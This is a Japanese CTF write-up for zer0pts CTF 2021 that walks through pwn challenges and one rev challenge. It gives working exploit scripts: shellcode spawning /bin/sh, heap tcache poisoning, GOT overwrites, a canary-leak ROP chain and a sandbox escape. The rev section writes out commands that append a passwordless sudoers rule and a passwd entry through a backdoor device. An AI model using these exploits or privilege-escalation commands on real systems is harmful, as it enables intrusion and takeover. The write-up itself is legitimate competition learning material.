zer0pts CTF 2021 writeup
zer0pts CTF writeup
zer0pts CTFにTSGとして参加して、7th位でした。私はもっぱらpwnの問題ばかり解いていました。Pwnの問題しかほとんど見ていませんが、非本質的なパートが排除されていて、Pwnに集中できる良い問題が揃っていてよかったです。
実はCTFを開催した場合にwriteupを書いてもらえると嬉しいことを認識していて、今回はせっかくなので感想のつもりで書こうと思います。 なお、もう既に公式で質の良いwriteup が存在しているので、基本的にはそちらを参照するのが良いとは思います。
Not Beginner's Stack (warmup, pwn)
warmupということで、初心者向けにFOR_BEGINNERS.mdと題した文章が添付されていました。内容は、関数呼び出しの仕組みの一般論と今回の問題の題意についてです。初心者なので当然この文章を一通り読んでから解きはじめました。
問題のプログラムについて要約すると、一般的な関数呼び出しでは、スタック上に戻りアドレスが保存されるのに対して、今回は、bss上に別途「関数呼び出しテーブル」を確保しておき、callに対応するタイミングで戻りアドレスをテーブルに保存、retに対応するタイミングでテーブルを検索して次にジャンプするべき先を取り戻す、というふうになっているようです。
バイナリを開くと自明なBoFを含む関数vulnと
vuln: ;; char buf[0x100]; enter 0x100, 0 ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x1000); mov edx, 0x1000 ; [!] vulnerability lea rsi, [rbp-0x100] xor edi, edi call read ;; return; leave ret
バグの無いnotvuln
notvuln: ;; char buf[0x100]; enter 0x100, 0 ;; vuln(); call vuln ;; write(1, "Data: ", 6); mov edx, 6 mov esi, msg_data xor edi, edi inc edi call write ;; read(0, buf, 0x100); mov edx, 0x100 lea rsi, [rbp-0x100] xor edi, edi call read ;; return 0; xor eax, eax ret
が定義されていて、プログラム自体はnotvulnを実行するという形になっています(vuln関数を内部で呼び出すのだからnotvulnが言うほど脆弱性が無いと言って良いのかわからないですけど)。 checksecをすると
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 24) Symbols No 0 0 chall
のようになっています。問題は、retアドレスがスタックに無いのでBoFができない点です。どうしましょう。
答えは、スタック上に退避されているrbpを書き換えると、nonvuln内のreadで lea rsi, [rbp-0x100]
と書かれている部分でrbpが任意の値にできる、つまり、任意書き込みが可能です。書き込む先は当然、例の関数テーブルで良くて、notvulnの "戻りアドレス" を今から一緒に流し込むシェルコードの先頭に向ければそれでシェルが取れます。zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}
N = 4 target_table = 0x600234 target_addr = 0x600234 + 0x8 * N shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' victim = target_table + 0x100 wait_for_attach() rs(p64(victim) * (0x200//8)) rs(p64(target_addr) * N + shellcode) interactive()
これがPoCです(完全版)。簡単な問題ですがfirst bloodでした✌
safe vector
C++のバイナリです。嫌ですね。でもソースコードがあると... 嬉しい
template<typename T> class safe_vector: public std::vector<T> { public: void wipe() { std::vector<T>::resize(0); std::vector<T>::shrink_to_fit(); } T& operator[](int index) { int size = std::vector<T>::size(); if (size == 0) { throw "index out of bounds"; } return std::vector<T>::operator[](index % size); } };
上のようなstd::vectorを継承したクラスのインスタンスvecが渡されて、push_back, pop_back, load, store, wipeができます。上述のクラスは、インデックスアクセスで配列外参照を検知できるようにする意図で作られたもののようです。
ところで、C言語のmodは、負の値 % 正の値は負の値になるという、(比較的)有名な話があって、indexに負の値を与えるとindex % size
は負の値になります。配列外参照ができますね(JavaScriptとかもこの流儀に従っていて、一方でPythonやRubyは数学的によくある方の剰余になっているはずです)。
あとはヒープ風水です。
- heap leakやlibc leakが適切なサイズまでvectorを生やして行けば得られます
- tcache poisoningでfree_hookを得たいですが、vectorは2倍2倍に大きくなっていって、微妙に上の方で作られた小さいtcacheに届きません。
- そこで、vectorの中にfake chunkを作って、freeするときに小さいものっぽく誤認させると、届きます。
for i in range(16): push_back(i) heap_base = (load(-9) << 32) + (load(-10)) - 0x10 print(hex(heap_base)) for i in range(0x400 - 16): push_back(i+1) libc_base = (load(-515) << 32) + (load(-514)) - 0x10 - 0x1ebbd0 print(hex(libc_base)) wipe() for i in range(64): push_back(i) store(-2, 0x51) storeword(18, 0x110 - 0x50 + 1) wait_for_attach() for i in range(64): push_back(64 + i) system = 0x55410 + libc_base free_hook = 0x1eeb28 + libc_base - 0x8 storeword(-68, free_hook) wipe() for i in range(16): push_back(i) store(-2, 0x111) wipe() for i in range(8): print(i) push_back(i) storeword(0, 29400045130965551) storeword(2, system) wait_for_attach() push_back(9) interactive()
以上がPoCです(完全版)。これもローカルでフラグが取れたときはfirst bloodだったんですが、サーバーが日本から遠くてタイムアウトまでに間に合わず、AWSでインスタンス作ってpwntools入れてなどをしてフラグを取ったところ、second bloodになってしまいました... 残念。結構脳死PoCなのでもうちょい頑張れば効率化できたかもしれません。
OneShot
main関数をそのまま貼ると
int main() { int *arr = NULL, n = 0, i = 0; printf("n = "); scanf("%d", &n); if (n >= 0x100) exit(1); arr = calloc(n, sizeof(int)); printf("i = "); scanf("%d", &i); printf("arr[%d] = ", i); scanf("%d", &arr[i]); puts("Done!"); return 0; }
です。これで問題になるんだからすごいですね。先にchecksecを確認しておくと
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 70) Symbols No 0 1 chall
です。Partial Relro + No PIEです。匂いますね。
一見すると、得られるバッファがheapにあるんだから何もできないじゃん、という感じに見えるんですが、callocにクソデカい値を入れるとNULLが帰ってくるということを思い出すと、scanf("%d", &arr[i])
で任意アドレス書き込みができるということが分かります。先程確認したようにGOT書き換えが可能かつ、GOTのアドレスが固定なので、とりあえずGOTを書き換えましょう。書き換える先はもちろんputsで、このまま終わってしまっては困るので、とりあえず再びmainに戻ってくるようにmainに書き換えます。無限ループの完成です。
こっからはまた†風水†です。とにかく今何としても知りたいのはlibcのアドレスです。これが取れれば、calloc -> systemにGOT上で書き換えた上で、calloc("/bin/sh\x00")ができます。どうすればいいでしょう?
ところでlibcのアドレスが拾えそうな場所は限られていて、具体的には上で実は示さなかった以下のsetup関数になります
__attribute__((constructor)) void setup() { alarm(60); setbuf(stdin, NULL); setbuf(stdout, NULL); }
この中でsetbufの引数に渡されているstdinは、libcのアドレスを指しています。この値をリークしたいです。ちなみにsetbufのGOTをprintfに変えるというのではリークできません。というのもstdinのポインタの指し先は残念ながらlibcのアドレスではないからです。
つまり、やりたいのは、stdinのポインタを整数として解釈して表示させる機能 printf("%p", p)
のp
にこのポインタを突っ込んだ上で、printfを実行する、みたいなことです。よく見直してみるとそのような機能がこのプログラムにはあって、具体的には、printf("arr[%d] = ", i);
です。こんな余計な表示しているんだから怪しいですよね。
配られたバイナリをディスアセンブルしてみると
4007d4: 89 c6 mov %eax,%esi 4007d6: 48 8d 3d 14 01 00 00 lea 0x114(%rip),%rdi # 4008f1 <_IO_stdin_used+0x11> 4007dd: b8 00 00 00 00 mov $0x0,%eax 4007e2: e8 19 fe ff ff callq 400600 <printf@plt>
などとなっています。一方で、setupの関数のディスアセンブルは
400830: 48 8b 05 39 08 20 00 mov 0x200839(%rip),%rax # 601070 <stdin@@GLIBC_2.2.5> 400837: be 00 00 00 00 mov $0x0,%esi 40083c: 48 89 c7 mov %rax,%rdi 40083f: e8 ac fd ff ff callq 4005f0 <setbuf@plt>
のようになっています。よく見てみるとstdinのポインタをraxに一度入れてくれています。そのうえで、上のアセンブリを見ると、ちょうど第二引数にraxの値を入れていますね?
ただ一つ困ったことがあります。setbufのGOTを当該の0x4007d4に書き換えて、puts -> setupに書き換えて、実行すると、スタックアラインメントの問題で(16byte alignになっていることをprintfが要求する)プログラムが異常終了してしまいます。これを回避するために、"二度"ずらすということをします。setup内の途中に直接飛べばこれを回避できます。
def modify(pos, val): rs(-1) rs(pos // 4) rs(val) def modify8(pos, val): modify(pos, val & 0xffffffff) modify(pos + 4, val >> 32) modify(puts_got, main_addr) modify8(exit_got, 0x0000000000400830) modify8(setbuf_got, nazo) #wait_for_attach() #libc_base = just_u64(s) #print(hex(libc_base)) rs(300) recvuntil('arr[') s = recvuntil(']') print(s) libc_lower = int(s) system_lower = libc_lower - 0x196570 print(hex(libc_lower), hex(system_lower)) rs('+') modify8(exit_got, ret) modify8(binsh, u64("/bin/sh\x00")) modify(calloc_got, system_lower) wait_for_attach() rs(str(binsh)) interactive()
以上がPoCです(完全版)。これはsecond bloodでした。 ちなみに実は上述でprintfのリークした後のscanfでは書き込み先のポインタがvalidではないので適当な数を入力するとセグフォで落ちますが、これは、+
などを入れることでスルーしてもらうことができます。
stopwatch
これはプログラムが長いので、挙動は実行の様子から説明します
What is your name? > hello How many times do you want to try? > 100 -=-=-=-= CHALLENGE 001 =-=-=-=- Time[sec]: 1 Stop the timer as close to 1.000000 seconds as possible! Press ENTER to start / stop the timer. Timer started. Timer stopped. Faster by 0.245760 sec! Play again? (Y/n) Y -=-=-=-= CHALLENGE 002 =-=-=-=- Time[sec]: 1 Stop the timer as close to 1.000000 seconds as possible! Press ENTER to start / stop the timer. Timer started. Timer stopped. Slower by 0.044928 sec! Play again? (Y/n) n -=-=-=-= RESULT =-=-=-=- Name: hello Best Score: 0.044928
名前とゲームをする回数を最初に入力し、各ゲームで、「x秒間隔でエンターを2度押せるかな?」ゲームをすることができます。上がその様子です。各ゲームの終了時に続けるかどうかが表示されます。ゲーム終了時には名前とベストスコアが表示されます。
実はこの問題は自明なBoFが二箇所あります。特に重要な方を上げると
int ask_again(void) { char buf[0x10]; printf("Play again? (Y/n) "); scanf("%s", buf); readuntil('\n'); if (buf[0] == 'n' || buf[0] == 'N') return 0; else return 1; }
この関数でscanfをしているところで好きな長さの文字を書くことができます。ただchecksecを確認すると
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 80) Symbols No 0 2 stopwatch/chall
となっていて、Canaryがあり、BoFするだけでは解けません。Canaryがリークしたいです。リークできそうな場所があるでしょうか? 怪しいところは、ここです
void ask_time(double *t) { printf("Time[sec]: "); scanf("%lf", t); readuntil('\n'); }
scanfの返り値を見てエラーハンドリングしていないので、ここで+
とか入力すると、何もtに書き込まれず、そのままスルーされます。ask_timeの引数が何だったかを思い出すと、
double delta, goal, diff; ask_time(&goal);
で、未初期化のgoalです。これでスタックの情報がリークできそう!となりますが、そう簡単ではありません。
What is your name? > uon How many times do you want to try? > 100 -=-=-=-= CHALLENGE 001 =-=-=-=- Time[sec]: + Stop the timer as close to 0.000000 seconds as possible! Press ENTER to start / stop the timer.
0、らしいです。canaryがリークできませんでした。ダメですか?実装をよく見てみると
int main(void) { unsigned char i, n; double *records, best = 31137.31337; ask_name(); n = ask_number(); records = (double*)alloca(n * sizeof(double)); for(i = 0; i < n; i++) records[i] = 31137.31337;
のようにallocaでゲーム数分のメモリを確保しています。allocaというのは、mallocのように動的にサイズを決めて、メモリを確保することができる仕組みで、mallocとの違いは、freeをしなくて良い代わりに、生存期間がこの関数内です。具体的には、スタックを上げ下げすることで、メモリを確保しています。これを念頭に置くと、スタックを良い感じに上げ下げすると、ask_name
やask_number
で使われたcanaryの位置に、goalを置くことができることに気づきます。
What is your name? > 1 How many times do you want to try? > 16 -=-=-=-= CHALLENGE 001 =-=-=-=- Time[sec]: + Stop the timer as close to 617509278313277091542227769970559604164567213334943896650100539216663619993774220164116246091155517995302682177562902367971147901679919912594346122149888.000000 seconds as possible! Press ENTER to start / stop the timer.
ヤバいですね。適当なtranslator
#include <stdio.h> typedef union { double x; unsigned long long y; } U; int main(void) { U v; scanf("%lf", &v.x); printf("%llx\n", v.y); return 0; }
を書くと、この表示された値は 5fa794a51be9dc00
であることが分かります。canaryがリークできました(ちなみにcanaryの値によっては、リークができないので注意)。
canaryさえリークできればあとはROPをすればよいです。
server = process('translator') rs('/bin/sh') rs('15') rs('+', r=':') recvuntil('close to ') v = recvuntil(' ') print(v) server.sendline(v) l = server.recvline() canary = int(l, 16) sendline('\n') print(hex(canary)) recvuntil('(Y/n) ') payload = [ pop_rdi, # pad pop_rdi, leak, puts_plt, ask_again, ] pad = 'A' * 0x18 + p64(canary) payload = ''.join(map(p64, payload)) ''' b * 0x400915 ''' wait_for_attach() sendline(pad + payload) libc_base = just_u64(recvline()) - libc_start_main_offset print(hex(libc_base)) recvuntil('(Y/n) ') binsh = libc_base + binsh_offset system = libc_base + system_offset payload = [ pop_rdi, # pad ret, pop_rdi, binsh, system, ] payload = ''.join(map(p64, payload)) wait_for_attach() sendline(pad + payload) interactive()
最初にlibcアドレスをリークするROP、その後でもう一度ask_againをして、二番目でsystem("/bin/sh")を実行するROPを組んでいます(PoCの完全版)。
nasm kit
概要は、「x86のアセンブリを受け取って、sandbox下で実行したときに、sandbox escapeできますか?」という問題です。実装の詳細は載せきれないですが、重要なのはsystem callのハンドラーです。
DEFINE_HANDLER(handler_syscall) { char *buf; /** 省略 **/ case SYS_mmap: /** SYS_mmap */ REG_RETVAL = syscall(SYS_mmap, REG_ARG1, REG_ARG2, REG_ARG3, REG_ARG4, REG_ARG5, REG_ARG6); if ((void*)REG_RETVAL == MAP_FAILED) { /* Failed to allocate*/ REG_RETVAL = -1; } else if (REG_RETVAL != REG_ARG1) { /* Invalid address */ syscall(SYS_munmap, REG_RETVAL, REG_ARG2); REG_RETVAL = -1; } else { /* Success */ if (UNICORN_ERROR(uc_mem_map_ptr(uc, REG_RETVAL, REG_ARG2, UNICORN_PROT(REG_ARG3), (void*)REG_RETVAL))) ABORT_PROGRAM("Error on uc_mem_map_ptr"); REG_RETVAL = 0; } break; case SYS_munmap: /** SYS_munmap */ if (syscall(SYS_munmap, REG_ARG1, REG_ARG2) != 0) { REG_RETVAL = -1; } else { if (UNICORN_ERROR(uc_mem_unmap(uc, REG_ARG1, REG_ARG2))) { ABORT_PROGRAM("Error on uc_mem_unmap"); } REG_RETVAL = 0; } break; /** 省略 **/
mmapでなぜか「親と子供のアドレスがストレートマップになるように」メモリマップを構築しています。とても怪しいですね。
この問題は2つのパートに分かれます
です。
前半:親のアドレスリーク
このsandboxでは、addr' = mmap(addr, size, ...)
として得られたaddr'がaddrと一致していなかった場合は、その領域をmunmapした上でエラーを返すような実装になっています。mmapではMAP_FIXED
を指定しなければ、アドレスはただのヒントとして扱われるだけで、指定したアドレスの領域に被りが生まれる場合は別の場所から、適切なサイズのメモリを確保します。つまり、今回のsandboxにおいては、mmapの成功・不成功を見ることで、「親の空間にメモリマップが存在しているか?」を検査することができます。
基本的には、二分探索をすれば良いですが、リモートでmmapのサイズとして指定してエラーが帰らないサイズがあまり大きくなかったので、この探索はさらに2つのパートに分かれます
- [0x550000000000, 0x570000000000)までの領域を0x80000000ずつ前から順に調べていって、エラーになる場所を探す。その領域を[X, X+0x80000000)とする
- [X, X+0x80000000)を二分探索していき、どこから親のコード領域が開始するかを正確に発見する。
Cで上述のアルゴリズムを書くと以下のようになります(なおmmapの仕様が違うので、上のプログラムをLinux上でコンパイルしても、意図したとおりには動きません)
#define SIZE 0x80000000llu typedef unsigned long long u64; int main(void) { u64 addr = 0x550000000000llu; u64 lb = 0x550000000000llu; u64 ub = 0x570000000000llu; for (u64 i = lb; i < ub; i += SIZE) { u64 x = (u64)mmap((void*)i, SIZE, 0, 0x22, -1, 0); if (x != 0) { addr = lb; lb = (i >> 12); ub = (i + SIZE) >> 12; break; } else { munmap((void*)i, SIZE); } } while (ub - lb > 1) { u64 mb = ((ub + lb) / 2); u64 size = mb - addr; u64 y = addr * 0x1000; u64 z = size * 0x1000; u64 x = mmap(y, z, 0, 0x22, -1, 0); if (x != 0) { ub = mb; } else { lb = mb; munmap(y, z); } } printf("%llx\n", lb * 0x1000); scanf("%llu", &addr); return 0; }
以上で、親の空間のコード領域のアドレスをリークすることができました。
後半:親で任意コード実行
ここまでは良かったのですが、この後親の空間で任意コード実行をするにはどうすればよいでしょう。mmapでrwxを作れるので、RIPが取れれば、勝ちですが、プログラムにそのようなことができるバグは無さそうです。ここでmmapだけで、RIPを書き換えるにはどうすればいいっすかね〜とkcz146 さんに尋ねたところ「MAP_FIXEDで、うまいこといかんの?」と言われて、ほえーとなります。
mmapのフラグでMAP_FIXEDを指定すると、mmap(addr, size, ...)で指定したaddrがヒントではなく実際にマップされる場所になります。これは既にマップされていても強制的に上書きされます。つまり、これを用いて、コード領域のメモリをガバっと書き換えてしまえないか?というアイデアになります。
実際にこれはうまくいきます。メモリマップを見てみると以下のようになっていて、
gdb-peda$ vm Start End Perm Name 0xdead0000 0xdeae0000 rw-p mapped 0x0000561813dba000 0x0000561813dbd000 r-xp /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator 0x0000561813fbc000 0x0000561813fbd000 r--p /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator 0x0000561813fbd000 0x0000561813fbe000 rw-p /home/vagrant/ctf/zeropts2020/nasm_kit/bin/x64-emulator
特に、base + 0x2000の位置をダンプしてみると
gdb-peda$ x/40gx 0x0000561813dbc000 0x561813dbc000 <__static_initialization_and_destruction_0(int, int)+44>: 0xed358d4800201004 0x0fe6058b48002012 0x561813dbc010 <__static_initialization_and_destruction_0(int, int)+60>: 0xef66e8c789480020 0x894855c3c990ffff 0x561813dbc020 <_GLOBAL__sub_I_reg_vals+3>: 0x01bf0000ffffbee5 0xffffffa4e8000000 0x561813dbc030 <_GLOBAL__sub_I_reg_vals+19>: 0x7d89e5894855c35d 0x23fc458bf87589fc 0x561813dbc040 <std::operator&(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+14>: 0xe5894855c35df845 0x458bf87589fc7d89 0x561813dbc050 <std::operator|(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+12>: 0x4855c35df8450bfc 0xfc458bfc7d89e589 0x561813dbc060 <std::operator~(std::_Ios_Fmtflags)+10>: 0xe5894855c35dd0f7 0xf87d894810ec8348 0x561813dbc070 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+12>: 0x8bf8458b48f47589 0xc789d689f4558b00 0x561813dbc080 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+28>: 0x48c289ffffffbfe8 0x458b481089f8458b 0x561813dbc090 <std::operator|=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+44>: 0x48e5894855c3c9f8 0x89f87d894810ec83 0x561813dbc0a0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+13>: 0x008bf8458b48f475 0xe8c789d689f4558b 0x561813dbc0b0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+29>: 0x8b48c289ffffff7e 0xf8458b481089f845 0x561813dbc0c0 <std::operator&=(std::_Ios_Fmtflags&, std::_Ios_Fmtflags)+45>: 0x8348e5894855c3c9 0x7589e87d894820ec 0x561813dbc0d0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+14>: 0xe8458b48e05589e4 0x458bfc458918408b 0x561813dbc0e0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+30>: 0xffffff6ee8c789e0 0x8348e8458b48c289 0x561813dbc0f0 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+46>: 0xe8c78948d68918c0 0x8be0558bffffff97 0x561813dbc100 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+62>: 0x27e8c789d689e445 0x458b48c289ffffff 0x561813dbc110 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+78>: 0x48d68918c08348e8 0x8bffffff45e8c789 0x561813dbc120 <std::ios_base::setf(std::_Ios_Fmtflags, std::_Ios_Fmtflags)+94>: 0xe5894855c3c9fc45 0xf87d894810ec8348 0x561813dbc130 <std::hex(std::ios_base&)+12>: 0x00004abaf8458b48 0x894800000008be00
のようになっています。mmapをすると、そのコード領域が全ての0になってしまうので、上述の方針を成功させるために必要なメモリページの要件として
- 子供に実行が帰ってくる前に、その領域にRIPが行かない
- メモリをシェルコードに書き換えた後で、RIPをその領域に向けることができる
という2点が挙げられます。この内1点目は、実際にやってみると、大丈夫であることが分かります。2点目として、このページにRIPが向かない場合(つまり正常実行でこの領域にあるコードが実行されない場合)、今回RIPを恣意的に変えることはできないので、書き換えられても無意味になってしまいます。ここで上のメモリダンプの中にstd::hexという文字があることに着目します。これはemulatorがterminateした後で
std::cout << "[+] Emulator terminated" << std::endl; /* Print register values */ if (UNICORN_ERROR(uc_reg_read_batch(uc, (int*)syscall_abi, reg_ptrs, 7))) ABORT("Error on uc_mem_map (unexpected)"); std::cout << "===== registers =====" << std::endl; std::cout << "RAX: " << std::hex << reg_vals[0] << std::endl; std::cout << "RDI: " << std::hex << reg_vals[1] << std::endl; std::cout << "RSI: " << std::hex << reg_vals[2] << std::endl; std::cout << "RDX: " << std::hex << reg_vals[3] << std::endl; std::cout << "R10: " << std::hex << reg_vals[4] << std::endl; std::cout << "R8 : " << std::hex << reg_vals[5] << std::endl; std::cout << "R9 : " << std::hex << reg_vals[6] << std::endl; std::cout << "=====================" << std::endl;
のようにメモリダンプに使われる関数です。つまり、emulatorをterminateさせれば、親に任意コード実行させることができるということが分かります。シェルコードをstd::hexの位置に流して終わりです。
main: ; Function begin xor r9d, r9d mov r8d, -1 mov r10d, 0x22 mov edx, 3 mov rsi, 0x10000 mov rdi, 0xdead0000 mov eax, 9 syscall mov rsp, 0xdead3000 mov rbp, 0xdead3000 mov rdi, 0xdead4800 mov rsi, 0x0a0a0a0a0a0a mov [rdi], rsi ;;-> wait for attach mov edx, 0x400 mov rsi, 0xdead0000 mov edi, 0 mov eax, 0 syscall mov rsi, 5 mov rdi, 0xdead0000 call print_buf ;;<- end wait for attach mov rax, qword 555000000000H mov qword [rbp-58H], rax mov qword [rbp-50H], rax mov rax, qword 570000000000H mov qword [rbp-48H], rax mov rax, qword [rbp-50H] mov qword [rbp-40H], rax jmp ?_003 ?_001: mov rax, qword [rbp-40H] mov r9d, 0 mov r8d, 4294967295 mov ecx, 34 mov edx, 0 mov esi, 2147483648 mov rdi, rax mov eax, 9 syscall mov qword [rbp-38H], rax cmp qword [rbp-38H], 0 jz ?_002 mov rax, qword [rbp-40H] shr rax, 12 mov qword [rbp-50H], rax mov qword [rbp-58H], rax mov edx, 2147483648 mov rax, qword [rbp-40H] add rax, rdx shr rax, 12 mov qword [rbp-48H], rax call print_end mov rdi, qword [rbp-50H] call print_reg jmp ?_004 ?_002: ;call print_cont mov rax, qword [rbp-40H] mov esi, 2147483648 mov rdi, rax mov eax, 11 syscall mov eax, 2147483648 add qword [rbp-40H], rax ?_003: mov rax, qword [rbp-40H] cmp rax, qword [rbp-48H] jc ?_001 ?_004: jmp ?_007 ?_005: mov rdx, qword [rbp-48H] mov rax, qword [rbp-50H] add rax, rdx shr rax, 1 mov qword [rbp-30H], rax mov rax, qword [rbp-58H] mov rdx, qword [rbp-30H] sub rdx, rax mov rax, rdx mov qword [rbp-28H], rax mov rax, qword [rbp-58H] shl rax, 12 mov qword [rbp-20H], rax mov rax, qword [rbp-28H] shl rax, 12 mov qword [rbp-18H], rax mov rax, qword [rbp-20H] mov rsi, qword [rbp-18H] mov r9d, 0 mov r8d, 4294967295 mov ecx, 34 mov edx, 0 mov rdi, rax mov eax, 9 syscall mov qword [rbp-10H], rax cmp qword [rbp-10H], 0 jz ?_006 mov rax, qword [rbp-30H] mov qword [rbp-48H], rax jmp ?_007 ?_006: mov rax, qword [rbp-30H] mov qword [rbp-50H], rax mov rax, qword [rbp-20H] mov rdx, qword [rbp-18H] mov rsi, rdx mov rdi, rax mov eax, 11 syscall ?_007: mov rax, qword [rbp-48H] sub rax, qword [rbp-50H] cmp rax, 1 ja ?_005 call print_end mov rdi, qword [rbp-50H] call print_reg mov edx, 0x8 mov rsi, 0xdead0000 mov edi, 0 mov eax, 0 syscall mov rax, 0xdead0000 mov r12, [rax] get_shell: xor r9d, r9d mov r8d, -1 mov r10d, 0x32 mov edx, 7 mov rsi, 0x1000 mov rdi, r12 mov eax, 9 syscall mov rax, r12 add rax, 0x124 mov dword [rax], 3142107185 add rax, 4 mov dword [rax], 2442567121 add rax, 4 mov dword [rax], 4288122064 add rax, 4 mov dword [rax], 1406924616 add rax, 4 mov dword [rax], 1385783124 add rax, 4 mov dword [rax], 2958971991 add rax, 4 mov dword [rax], 331579 mov rax, 0x100000 mov dword [rax], 0 print_buf: mov rdx, rsi mov rsi, rdi mov edi, 1 mov rax, 1 syscall mov rdx, 1 mov rsi, 0xdead4800 mov edi, 1 mov rax, 1 syscall ret wait_for_attach: mov edx, 0x400 mov rsi, 0xdead0000 mov edi, 0 mov eax, 0 syscall ret print_reg: mov rax, 0xdead0000 mov qword [rax], rdi mov rdi, rax mov rsi, 8 jmp print_buf print_cont: mov rax, 0xdead0000 mov qword [rax], 1953394531 mov rdi, rax mov rsi, 4 jmp print_buf print_end: mov rax, 0xdead0000 mov qword [rax], 6581861 mov rdi, rax mov rsi, 3 jmp print_buf
良い問題でした。
infected
僕が唯一解いたpwn以外の問題(rev)です。revをするとデバドラで、バックドアをしかけていることが分かり、なんか好きにレギュラーファイルのmodeを書き換えられるらしいです。sudoersにしつつ/etc/passwdに自分を入れて終わりです。
echo "b4ckd00r:/etc/sudoers:2559" > /dev/backdoor echo "sudo ALL=NOPASSWD: ALL" >> /etc/sudoers echo "b4ckd00r:/etc/passwd:2559" > /dev/backdoor echo "sudo:x:1000:1000:sudo:/:/bin/sh" >> /etc/passwd echo "b4ckd00r:/etc/sudoers:288" > /dev/backdoor
感想
問題の質がとても良かったので体験として最高だったのと、僕がいっぱい問題解けて体験として最高だったので、最高でした。それに順位がまあまあよくて賞金がTSGに送られるそうです。すごい。 今年初めてのCTF*1 でしたが、途中でamong usやTSG/KMC esolang大会に行くことなく*2、ずっとCTFできたのは、割と非本質パートがなくずっと集中していられたおかげだと思うので、本当に良かったです。